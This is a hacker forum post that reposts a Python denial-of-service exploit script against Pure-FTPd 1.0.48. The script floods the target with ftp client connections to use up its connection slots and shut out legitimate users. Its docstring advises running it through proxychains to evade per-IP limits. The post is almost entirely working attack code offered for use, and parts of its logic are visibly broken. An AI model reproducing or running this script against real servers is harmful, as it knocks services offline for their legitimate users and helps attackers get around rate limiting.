Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Pure-FTPd 1.0.48 - Remote Denial of Service

 Share


Recommended Posts

# Exploit Title: Pure-FTPd 1.0.48 - Remote Denial of Service
# Date: 2020. nov. 26., 09:32:17 CET
# Exploit Author: xynmaps
# Vendor Homepage: https://www.pureftpd.org/project/pure-ftpd/
# Software Link: https://github.com/jedisct1/pure-ftpd/
# Version: 1.0.48
# Tested on: Parrot Security OS 5.9.0

#encoding=utf8
#__author__ = XYN/Dump/NSKB3
#Pure-FTPd Denial of Service exploit by XYN/Dump/NSKB3.
"""
Pure-FTPd only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
(if it's limited, just run this script from different proxies using proxychains, and it will work)
"""

import socket
import sys
import threading
import subprocess
import time

banner = """
._________________.
|    Pure-FTPd    |
|      D o S      |
|_________________|
|By XYN/DUMP/NSKB3|
|_|_____________|_|
|_|_|_|_____|_|_|_|
|_|_|_|_|_|_|_|_|_|

"""
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])

def test(t,p):
	s = socket.socket()
	s.settimeout(10)
	try:
		s.connect((t, p))
		response = s.recv(65535)
		s.close()
		return 0
	except socket.error:
		print("Port {} is not open, please specify a port that is open.".format(p))
		sys.exit()
def attack(targ, po, id):
	try:
		subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		#print("Worker {} running".format(id))
	except OSError: pass
def main():
	global target, port, start
	print banner
	try:
		target = sys.argv[1]
	except:
		print usage
		sys.exit()
	try:
		port = int(sys.argv[2])
	except:
		port = 21
	try:
		conns = int(sys.argv[3])
	except:
		conns = 50
	print("[!] Testing if {0}:{1} is open".format(target, port))
	test(target, port)
	print("[+] Port {} open, starting attack...".format(port))
	time.sleep(2)
	print("[+] Attack started on {0}:{1}!".format(target, port))
	def loop(target, port, conns):
		global start
		threading.Thread(target=timer).start()
		while 1:
			for i in range(1, conns + 3):
				t = threading.Thread(target=attack, args=(target,port,i,))
				t.start()
				if i > conns + 2:
					t.join()
					break
					loop()

	t = threading.Thread(target=loop, args=(target, port, conns,))
	t.start()

def timer():
        start = time.time()
        while 1:
                if start < time.time() + float(900): pass
                else:
                        subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        t = threading.Thread(target=loop, args=(target, port,))
			t.start()
                        break

main()
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...